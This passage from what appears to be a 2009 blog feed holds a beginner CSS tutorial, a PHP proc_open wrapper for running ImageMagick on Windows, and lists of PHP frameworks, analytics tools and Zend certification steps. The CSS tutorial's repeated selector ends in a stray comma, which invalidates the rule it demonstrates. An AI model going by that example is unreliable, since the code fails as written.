line in the HEAD area:&lt;br /&gt;&lt;br /&gt;&lt; LINK REL="stylesheet" TYPE="text/css" HREF="style.css" &gt;&lt;br /&gt;&lt;br /&gt;That's all there is to it. Every page with the above line in the HEAD area will have it's style converted to what you specify in the style.css file. To change the style on all your web pages, simply edit the style.css file.&lt;br /&gt;&lt;br /&gt;(You can also add the style sheet directly in the HEAD area of each page the style will be applied to.)&lt;br /&gt;&lt;br /&gt;Now lets look at the style sheet code in the style.css file.&lt;br /&gt;&lt;br /&gt;First, add in these three lines in style.css file:&lt;br /&gt;&lt;br /&gt;BODY, TD, P, LI, {&lt;br /&gt;font-family: arial;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Now, every page with the above style.css link in HEAD area will have it's font magically converted to "Arial". Is it fast;-)?&lt;br /&gt;&lt;br /&gt;Okay, there may be just a bit more to it than that. If you currently have FONT tags specified in the source code of your web pages, you need to remove those so the CSS style can do its job.&lt;br /&gt;&lt;br /&gt;The "font-family: arial;" line is a style element. Styles can have other elements like size and color, and some of those are addressed below. Each style element has two parts. The first part is called the "property" and the second part, the "value." The property is followed by a colon and the value is followed by a semi-colon. The property must be specified before the value, and they must appear together.&lt;br /&gt;&lt;br /&gt;Like in standard HTML FONT tags, to control the exact font name to be used, with backups in case the one you specify isn't available on the user's computer, you can list the font names in order of preference, separated with a comma:&lt;br /&gt;&lt;br /&gt;font-family: arial,helvetica,sans-serif;&lt;br /&gt;&lt;br /&gt;Lets also specify the text size and color:&lt;br /&gt;&lt;br /&gt;BODY, TD, P, LI, {&lt;br /&gt;font-family: arial,helvetica,sans-serif;&lt;br /&gt;font-size: 12px;&lt;br /&gt;color: #000000;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The above specifies a font size of 12 pixels and text color of black. The color can be specified either as a hexadecimal number proceeded with a "#" character (like the example) or by a color name such as "black".&lt;br /&gt;&lt;br /&gt;Once you upload the above style sheet, your pages will have black, 12 pixel sized text, Arial font. Change the color to&lt;br /&gt;&lt;br /&gt;color: blue;&lt;br /&gt;&lt;br /&gt;and suddenly all your text is blue. Change the size to&lt;br /&gt;&lt;br /&gt;font-size: 55px;&lt;br /&gt;&lt;br /&gt;and your text is huge.&lt;br /&gt;&lt;br /&gt;Just one simple change in style.css changes every page that has the one-line tag in the HEAD area.&lt;br /&gt;&lt;br /&gt;By now, you've probably been wondering about the&lt;br /&gt;&lt;br /&gt;BODY, TD, P, LI, {&lt;br /&gt;&lt;br /&gt;line in file style.css. That is a list of tags that the style will effect. In this case, it effects the BODY tag (which is everything in the page BODY that doesn't otherwise have a style), the TD tag (table data cell), and the P tag (paragraph).&lt;br /&gt;&lt;br /&gt;Let's add another style for the H1 tag. Your style.css file should now have these lines:&lt;br /&gt;&lt;br /&gt;BODY, TD, P, LI, {&lt;br /&gt;font-family: arial,helvetica,sans-serif;&lt;br /&gt;font-size: 14px;&lt;br /&gt;color: #000000;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;H1 {&lt;br /&gt;font-size: 36px;&lt;br /&gt;font-weight: bold;&lt;br /&gt;text-align: center;&lt;br /&gt;color: red;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The above will cause the H1 text to be 36 pixels in size, bold, centered, and colored red. The font face will be Arial because that's what's specified for BODY, and H1 didn't specify any different.&lt;br /&gt;&lt;br /&gt;Once you upload style.css, all your web page's H1 text will be the specified style.&lt;br /&gt;&lt;br /&gt;Your style.css file can contain specifications for any HTML tag. Yes, there is a lot more to be learned. Even with just this small amount of knowledge, however, you have the ability to specify the font attributes for any and all HTML tags that contain visible text - throughout your site. Except one.&lt;br /&gt;&lt;br /&gt;The one exception is the anchor tag, often referred to as the "A" link tag. The A tag can have three different styles, one for each of it's states: link, active, and visited. To see how it works, change your style.css style sheet file so it has these thirty lines:&lt;br /&gt;&lt;br /&gt;BODY, TD, P, LI, {&lt;br /&gt;font-family: arial,helvetica,sans-serif;&lt;br /&gt;font-size: 12px;&lt;br /&gt;color: #000000;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;H1 {&lt;br /&gt;font-size: 36px;&lt;br /&gt;font-weight: bold;&lt;br /&gt;text-align: center;&lt;br /&gt;color: red;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;A:link {&lt;br /&gt;color: blue;&lt;br /&gt;font-weight: bold;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;A:active {&lt;br /&gt;text-decoration: underline;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;A:visited {&lt;br /&gt;color: purple;&lt;br /&gt;font-style: italic;&lt;br /&gt;text-decoration: line-through;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;With the above, your linked text will be bold, colored blue. When the link is active (while it's being clicked on), it will be underlined. Once the linked page has been visited, the text will be italic and have a line through it, and the text color will be purple.&lt;br /&gt;&lt;br /&gt;Another A tag style you may wish to utilize is "hover" style. This style becomes effective when the mouse cursor hovers above the linked text. The "hover" style works in IE 5+ and in Netscape 6+. The style has no effect for browsers that don't support "hover". Here is an example "hover" style:&lt;br /&gt;&lt;br /&gt;A:hover {&lt;br /&gt;text-decoration: none;&lt;br /&gt;color: red;&lt;br /&gt;font-size: 22px;&lt;br /&gt;font-weight: bold;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The above causes any underlines or line-throughs to disappear, turns the linked text red, changes the text size to 22 pixels, and makes the text bold.&lt;br /&gt;&lt;br /&gt;Some of the styles demonstrated in the examples cause dramatic effects. They serve to demonstrate possibilities. Your actual implementation will probably be more pleasant to the eyes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-5457385515981588274?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/5457385515981588274/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/cascading-style-sheets-css-made-easy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5457385515981588274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5457385515981588274'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/cascading-style-sheets-css-made-easy.html' title='Cascading Style Sheets (CSS) Made Easy for Freshers'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2396851527846377220</id><published>2009-03-30T09:41:00.000-07:00</published><updated>2009-03-30T09:43:20.111-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Alternate PHP exec() function tp bypass the cmd.exe</title><content type='html'>I had a problem running executables (like identify.exe and convert.exe from ImageMagick) from php under windows using the exec() funciton. The solution provided by others was kind off stupid... Give full permisions on cmd.exe to IURS... Like you wanna do that.....&lt;br /&gt;I wrote a exec() replacement function using the bypass_shell option proc_open has. It works great for me. Do your favour with it.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&amp;lt;?php&lt;br /&gt; &lt;br /&gt; function executeCommand($cmd) {&lt;br /&gt; &lt;br /&gt;  if(DEBUG === true) {&lt;br /&gt;   echo "Command: ".$cmd;&lt;br /&gt;   echo "&lt;br&gt;";&lt;br /&gt;   echo "Tempdir: ".TEMP_DIR;&lt;br /&gt;   echo "&lt;br&gt;";&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  $descriptorspec = array(&lt;br /&gt;     0 =&gt; array("pipe", "r"),&lt;br /&gt;     1 =&gt; array("pipe", "w"),&lt;br /&gt;     2 =&gt; array("pipe", "w")&lt;br /&gt;  );&lt;br /&gt; &lt;br /&gt;  $process = proc_open(&lt;br /&gt;    $cmd,&lt;br /&gt;    $descriptorspec,&lt;br /&gt;    $pipes,&lt;br /&gt;    TEMP_DIR,&lt;br /&gt;    NULL,&lt;br /&gt;    array('bypass_shell' =&gt; TRUE)&lt;br /&gt;  );&lt;br /&gt; &lt;br /&gt;  if(!is_resource($process)) {&lt;br /&gt;   return false;&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  if(!$pipes[1]) {&lt;br /&gt;   if(DEBUG === true) {&lt;br /&gt;    echo "No STDOUT&lt;br&gt;";&lt;br /&gt;   }&lt;br /&gt;   return false;&lt;br /&gt;  }&lt;br /&gt;  $output = stream_get_contents($pipes[1]);&lt;br /&gt;  fclose($pipes[1]);&lt;br /&gt;  $err = stream_get_contents($pipes[2]);&lt;br /&gt;  fclose($pipes[2]);&lt;br /&gt; &lt;br /&gt;  $x = proc_get_status($process);&lt;br /&gt; &lt;br /&gt;  $return_value = proc_close($process);&lt;br /&gt; &lt;br /&gt;  if($return_value == 0) {&lt;br /&gt;   if(DEBUG === true) {&lt;br /&gt;    echo "Return value {$return_value}&lt;br&gt;";&lt;br /&gt;    print_r($x);&lt;br /&gt;    echo "&lt;br&gt;&lt;br&gt;&lt;br&gt;";&lt;br /&gt;   }&lt;br /&gt;   return explode("\n", str_replace("\r", '', $output));&lt;br /&gt;  } else {&lt;br /&gt;   if(DEBUG === true) {&lt;br /&gt;    echo "Return value {$return_value}&lt;br&gt;";&lt;br /&gt;    print_r($x);&lt;br /&gt;    echo "Output: ".$output;&lt;br /&gt;    echo "Error: ".$err;&lt;br /&gt;    echo "&lt;br&gt;&lt;br&gt;&lt;br&gt;";&lt;br /&gt;   }&lt;br /&gt;   return false;&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt; }&lt;br /&gt;?&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2396851527846377220?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2396851527846377220/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/alternate-php-exec-function-tp-bypass.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2396851527846377220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2396851527846377220'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/alternate-php-exec-function-tp-bypass.html' title='Alternate PHP exec() function tp bypass the cmd.exe'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2515261569663350405</id><published>2009-03-30T09:39:00.000-07:00</published><updated>2009-03-30T09:41:09.888-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='LAMP'/><title type='text'>Top 10 PHP Frameworks</title><content type='html'>This is the top ten PHP frameworks that based on MVC design pattern.&lt;br /&gt;&lt;br /&gt;1. Yii&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Yii is a component-based high-performance PHP framework for developing large-scale Web applications. Yii is written in strict OOP and comes with thorough class reference and comprehensive tutorials. From MVC, DAO/ActiveRecord, widgets, caching, hierarchical RBAC, Web services, to theming, I18N and L10N, Yii provides nearly every feature needed by today’s Web 2.0 application development. And all these come without incurring much overhead. As a matter of fact, Yii is one of the most efficient PHP frameworks around.&lt;br /&gt;&lt;br /&gt;2. CodeIgniter&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CodeIgniter is an Application Development Framework - a toolkit - for people who build web sites using PHP. Its goal is to enable you to develop projects much faster than you could if you were writing code from scratch, by providing a rich set of libraries for commonly needed tasks, as well as a simple interface and logical structure to access these libraries. CodeIgniter lets you creatively focus on your project by minimizing the amount of code needed for a given task.&lt;br /&gt;&lt;br /&gt;3. CakePHP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CakePHP is a rapid development framework for PHP which uses commonly known design patterns like ActiveRecord, Association Data Mapping, Front Controller and MVC. Our primary goal is to provide a structured framework that enables PHP users at all levels to rapidly develop robust web applications, without any loss to flexibility.&lt;br /&gt;&lt;br /&gt;4. PHPDevShell&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PHPDevShell is an Open Source (GNU/LGPL) Rapid Application Development framework written using only PHP with no Javascript and comes with a complete GUI admin interface. It is aimed at developing admin based applications as plugins, where speed, security, stability and flexibility are essentials. It is designed to have a very easy learning curve without complicated new terms to learn. The need for a light, fully functional GUI with limitless configuration brought forward PHPDevShell. We strive to keep direction and focus in our development according to our moto.&lt;br /&gt;&lt;br /&gt;5. Akelos&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Akelos PHP Framework is a web application development platform based on the MVC (Model View Controller) design pattern. Based on good practices, it allows you to:&lt;br /&gt;&lt;br /&gt;Write views using Ajax easily&lt;br /&gt;Control requests and responses through a controller&lt;br /&gt;Manage internationalized applications&lt;br /&gt;Communicate models and the database using simple conventions.&lt;br /&gt;Your Akelos based applications can run on most shared hosting service providers since Akelos only requires that PHP be available at the server. This means that the Akelos PHP Framework is the ideal candidate for distributing standalone web applications as it does not require any non-standard PHP configuration to run.&lt;br /&gt;&lt;br /&gt;6.  Symfony&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Symfony is a web application framework for PHP5 projects.&lt;br /&gt;&lt;br /&gt;It aims to speed up the creation and maintenance of web applications, and to replace the repetitive coding tasks by power, control and pleasure.&lt;br /&gt;&lt;br /&gt;The very small number of prerequisites make symfony easy to install on any configuration; you just need Unix or Windows with a web server and PHP 5 installed. It is compatible with almost every database system. In addition, it has a very small overhead, so the benefits of the framework don’t come at the cost of an increase of hosting costs.&lt;br /&gt;&lt;br /&gt;Using symfony is so natural and easy for people used to PHP and the design patterns of Internet applications that the learning curve is reduced to less than a day. The clean design and code readability will keep your delays short. Developers can apply agile development principles (such as DRY, KISS or the XP philosophy) and focus on applicative logic without losing time to write endless XML configuration files.&lt;br /&gt;&lt;br /&gt;Symfony is aimed at building robust applications in an enterprise context. This means that you have full control over the configuration: from the directory structure to the foreign libraries, almost everything can be customized. To match your enterprise’s development guidelines, symfony is bundled with additional tools helping you to test, debug and document your project.&lt;br /&gt;&lt;br /&gt;7. Prado&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The PRADO group is a team of PRADO enthusiasts who develop and promote the PRADO framework and the related projects.&lt;br /&gt;&lt;br /&gt;Team Members&lt;br /&gt;&lt;br /&gt;Qiang Xue - founder of PRADO framework, core development&lt;br /&gt;Xiang Wei Zhuo - core development (javascripts, active controls, DB controls, tests)&lt;br /&gt;Jason Ragsdale - site and forum administration&lt;br /&gt;Knut Urdalen - test, marketing&lt;br /&gt;Carl G. Mathisen - design and document comment system&lt;br /&gt;Christophe Boulain - component development, test&lt;br /&gt;Michael Hartl - component development, test&lt;br /&gt;Eirik Hoem - core development&lt;br /&gt;Yves Berkholz - core development&lt;br /&gt;Past Team Members&lt;br /&gt;&lt;br /&gt;Alex Flint, Brian Luft, John Teague, Todd Patrick, Pim van der Zwet, Tim Evans, Alban Hanry, Marcus Nyeholt&lt;br /&gt;&lt;br /&gt;History of PRADO&lt;br /&gt;&lt;br /&gt;The very original inspiration of PRADO came from Apache Tapestry. During the design and implementation, I borrowed many ideas from Borland Delphi and Microsoft ASP.NET. The first version of PRADO came out in June 2004 and was written in PHP 4. Driven by the Zend PHP 5 coding contest, I rewrote PRADO in PHP 5, which proved to be a wise move, thanks to the new object model provided by PHP 5. PRADO won the grand prize in the Zend contest, earning high votes both from the public and from the judges’ panel.&lt;br /&gt;&lt;br /&gt;In August 2004, PRADO was hosted on SourceForge as an open source project. Soon after, the project site xisc.com was announced to public. With the fantastic support of PRADO developer team and PRADO users, PRADO evolved to version 2.0 in mid 2005. In this version, Wei Zhuo contributed to PRADO with the excellent I18 and L10N support.&lt;br /&gt;&lt;br /&gt;In May 2005, we decided to completely rewrite the PRADO framework to resolve a few fundamental issues found in version 2.0 and to catch up with some cool features available in Microsoft ASP.NET 2.0. After nearly a year’s hard work with over 50,000 lines of new code, version 3.0 was finally made available in April 2006.&lt;br /&gt;&lt;br /&gt;Starting from version 3.0, significant efforts are allocated to ensure the quality and stability of PRADO. If we say PRADO v2.x and v1.x are proof-of-concept work, we can say PRADO 3.x has grown up to a serious project that is suitable for business application development.&lt;br /&gt;&lt;br /&gt;8. Zend&lt;br /&gt;&lt;br /&gt;Extending the art &amp; spirit of PHP, Zend Framework is based on simplicity, object-oriented best practices, corporate friendly licensing, and a rigorously tested agile codebase. Zend Framework is focused on building more secure, reliable, and modern Web 2.0 applications &amp; web services, and consuming widely available APIs from leading vendors like Google, Amazon, Yahoo!, Flickr, as well as API providers and cataloguers like StrikeIron and ProgrammableWeb.&lt;br /&gt;Expanding on these core themes, we have implemented Zend Framework to embody extreme simplicity &amp; productivity, the latest Web 2.0 features, simple corporate-friendly licensing, and an agile well-tested code base that your enterprise can depend upon.&lt;br /&gt;&lt;br /&gt;9. ZooP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Zoop Object Oriented Php Framework (The Zoop PHP Framework for short). A framework written in and for php.&lt;br /&gt;&lt;br /&gt;The Zoop PHP Framework is stable, scalable and portable. It has been in production use for the last 5 years and has been used in many production environments. The Zoop PHP Framework is designed to be fast, efficient and clean. It is easily extendable and you choose to include only the functionality you use.&lt;br /&gt;&lt;br /&gt;With Zoop an inexperienced coder can make secure web applications quickly. A more experienced coder will really appreciate how flexible The Zoop PHP Framework is. Both experienced and inexperienced coders alike will appreciate the automations that are at his/her disposal to handle mundane tasks.&lt;br /&gt;&lt;br /&gt;The Zoop PHP Framework encourages separation of display, logic and data layers(MVC).&lt;br /&gt;&lt;br /&gt;The Zoop PHP Framework is made up of many components and integrates many different projects including smarty (http://smarty.php.net) and the prototype AJAX framework. It also makes use of PEAR modules (http://pear.php.net).   The efficient core components handle many of the functions you would have to code yourselves. Zoop’s integrated error handling can be configured to log errors for production environments, and is highly informative and readable which makes bugs easy to find and squash.&lt;br /&gt;&lt;br /&gt;Zoop has been designed to make the developers life easier by providing tools to make efficient use of his/her time. On of our more unique and notable features is our implementation of GuiControls, a revolutionary idea in PHP  that provides many form widgets with validation completely integrated, as well as a framework to develop your own guiControls extremely easily.&lt;br /&gt;&lt;br /&gt;10. QPHP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;QPHP stands for Quick PHP and is a MVC framework similar as architecture to ASP.NET.&lt;br /&gt;I, as the author of the project, have spent the last 8 years working on web projects using various Java frameworks, ASP.NET and PHP. This framework tries to get the best of the above platforms as well as to avoid the problematic parts. Basically it:&lt;br /&gt;&lt;br /&gt;Brings the elegance of Java and C#&lt;br /&gt;Drops all Perl like bizzare statements that other PHP frameworks use&lt;br /&gt;Relies extensively on OOP concepts&lt;br /&gt;Code-behind approach is used, so every webpage consists of 2 files:&lt;br /&gt;&lt;br /&gt;.PHP - presentation logic&lt;br /&gt;.PHP.SCRIPT - business/programming logic&lt;br /&gt;&lt;br /&gt;FACTS ABOUT QPHP&lt;br /&gt;&lt;br /&gt;Less than 70 classes&lt;br /&gt;Less than 300K in size&lt;br /&gt;3 years of internal use&lt;br /&gt;Works with PHP4/PHP5&lt;br /&gt;Easy database access&lt;br /&gt;Fast and stable&lt;br /&gt;Event driven, component based&lt;br /&gt;AJAX compatible&lt;br /&gt;I18N support&lt;br /&gt;View/Session/Application states&lt;br /&gt;Simple input validation&lt;br /&gt;5 menu controls&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2515261569663350405?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2515261569663350405/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/top-10-php-frameworks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2515261569663350405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2515261569663350405'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/top-10-php-frameworks.html' title='Top 10 PHP Frameworks'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-8757026971287957285</id><published>2009-03-30T09:37:00.000-07:00</published><updated>2009-03-30T09:38:22.069-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LAMP'/><title type='text'>10 Web Analytics Tools For Tracking Your Visitors</title><content type='html'>1. AWStats&lt;br /&gt;&lt;br /&gt;AWStats comes pre-installed by many web hosting companies. Additionally, if you’re setting up your own servers, you can download it for your personal use. AWStats goes deeper into the referring sites’ information than most analytics packages, and is a perfect tool for monitoring whether someone is hotlinking files from your site. Besides being a great detective tool for bandwidth thieves, it offers all of the usual useful tools that you might expect from a statistics package.&lt;br /&gt;&lt;br /&gt;2. eLogic&lt;br /&gt;&lt;br /&gt;eLogic provides three levels of service based on your exact needs. If you need to track only one or two pages, they offer a stat counter that just offers you the most basic of reports. Their Webstats BASIC package is also free, but gives you more the usual tools you expect like referring sites, a history, demographics, and more. Finally if you’re a business or a larger site, you may sign up for their subscription program, Webstats PRO, that will give you a full history and more extensive tools.&lt;br /&gt;&lt;br /&gt;3. Google Analytics&lt;br /&gt;&lt;br /&gt;Google Analytics is arguably the most popular analytics package available for individual site owners. Google Analytics (or plain old “GA”) allows you to dig down deep into your stats to see breakdowns of individual regions, states/provinces, cities and numerous other items to better identify your site visitors. The wealth of data available is admirably balanced by a well-executed user interface, but it can still be overwhelming. The package integrates with AdWords and has ecommerce-specific tools to track sales.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. ShinyStat&lt;br /&gt;&lt;br /&gt;ShinyStat was initially designed to monitor visits to Italian web sites. Now it is available to sites all over the world, and offers software packages for the individual user, the professional user who needs to track marketing, and a business owner who needs to monitor sales and ROI. There is also a level of service for ISPs to install and include with their hosting accounts.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. SiteMeter&lt;br /&gt;&lt;br /&gt;SiteMeter has a free version for smaller bloggers with up to 100,000 monthly visitors that offers all of the usual tools a webmaster can expect such as tracking referrals, visit durations and so on. If you are launching a larger site and need more tools, there is a paid version based on your volume of visitors.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. StatCounter&lt;br /&gt;&lt;br /&gt;StatCounter might have a rather plain interface, but it deftly handles multi-author blogs, allowing you to easily assign unique codes to each author. While it is free and does work, you have to click on a link to see each analytic result on a separate page. Despite its unpolished looks, the site does offer you clearly readable stats on things such as keywords, traffic sources, and other useful information.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7. W3Counter&lt;br /&gt;&lt;br /&gt;W3Counter comes in a free and paid version. With a free W3Counter account, you can track up to 5,000 page views a day across 10 websites and see all of the usual stats. In addition, you get a bonus that you can share your stats with anyone you like via widgets for your blog or an API that lets you build new tools. For sites with higher traffic, you can go for the Pro account that allows you to track up to 1 million views a month.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8. W3Perl&lt;br /&gt;&lt;br /&gt;W3Perl differs from other analytics packages in that it doesn’t just measure web traffic, but also can parse the log files of email and RSS to measure just about anything you choose. You can set up the administration interface for web access and gain real-time stats from there.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;9. Webalizer&lt;br /&gt;&lt;br /&gt;Webalizer is written in C, which means that it is extremely fast and portable, and is a favorite choice of people who host their own servers. Many web hosts have this analytics package pre-installed for your use inside of their control panel. Webalizer doesn’t allow you to dive terribly in-depth into your data like some other packages, but it provides an excellent overview.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;10. Woopra&lt;br /&gt;&lt;br /&gt;Woopra is currently in a closed beta test, but it offers you a wealth of data for those who can get in. Real-time data are streamed from your site that appear on a map letting you graphically see where readers are coming from, what keywords brought them in, and referring sites. Woopra offers you a unique ability to open up a chat window with visitors of your choice as they browse your site. An unusual feature of this service is that the data is presented to you in a desktop application. WordPress users can install a plugin that lets them see this data in the dashboard of their blog.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are no doubt other excellent site analytic packages out there. Which is your favorite? Let us know in the comments.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-8757026971287957285?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/8757026971287957285/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/10-web-analytics-tools-for-tracking.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8757026971287957285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8757026971287957285'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/10-web-analytics-tools-for-tracking.html' title='10 Web Analytics Tools For Tracking Your Visitors'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-3840552363138438099</id><published>2009-03-30T09:25:00.000-07:00</published><updated>2009-03-30T09:29:04.712-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>How to become a ZCE (Zend Certified Engineer)</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Three Steps to become ZCE:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Prepare for the Exam&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Zend Framework Certification Study Guide&lt;br /&gt;Zend Framework Certification Training Course&lt;br /&gt;Zend PHP 5 Certification Training Course&lt;br /&gt;Zend PHP 5 Certification Study Materials&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Take the Exam&lt;br /&gt;&lt;/span&gt;Purchasing the Exam&lt;br /&gt;Scheduling an Exam&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;After the Exam&lt;br /&gt;&lt;/span&gt;Zend PHP Yellow Pages&lt;br /&gt;Zend Certfication Logos&lt;br /&gt;Join the Linked in Group&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;If anybody interested, post a comment with your email address to get ZCE preparation kit.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-3840552363138438099?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/3840552363138438099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-become-zce-zend-certified.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/3840552363138438099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/3840552363138438099'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-become-zce-zend-certified.html' title='How to become a ZCE (Zend Certified Engineer)'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-1340025340709613792</id><published>2009-03-30T09:24:00.001-07:00</published><updated>2009-03-30T09:24:59.056-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>Benefits for Zend Certification</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Career Rewards&lt;br /&gt;&lt;/span&gt;Differentiate yourself from competitors when looking for a new job&lt;br 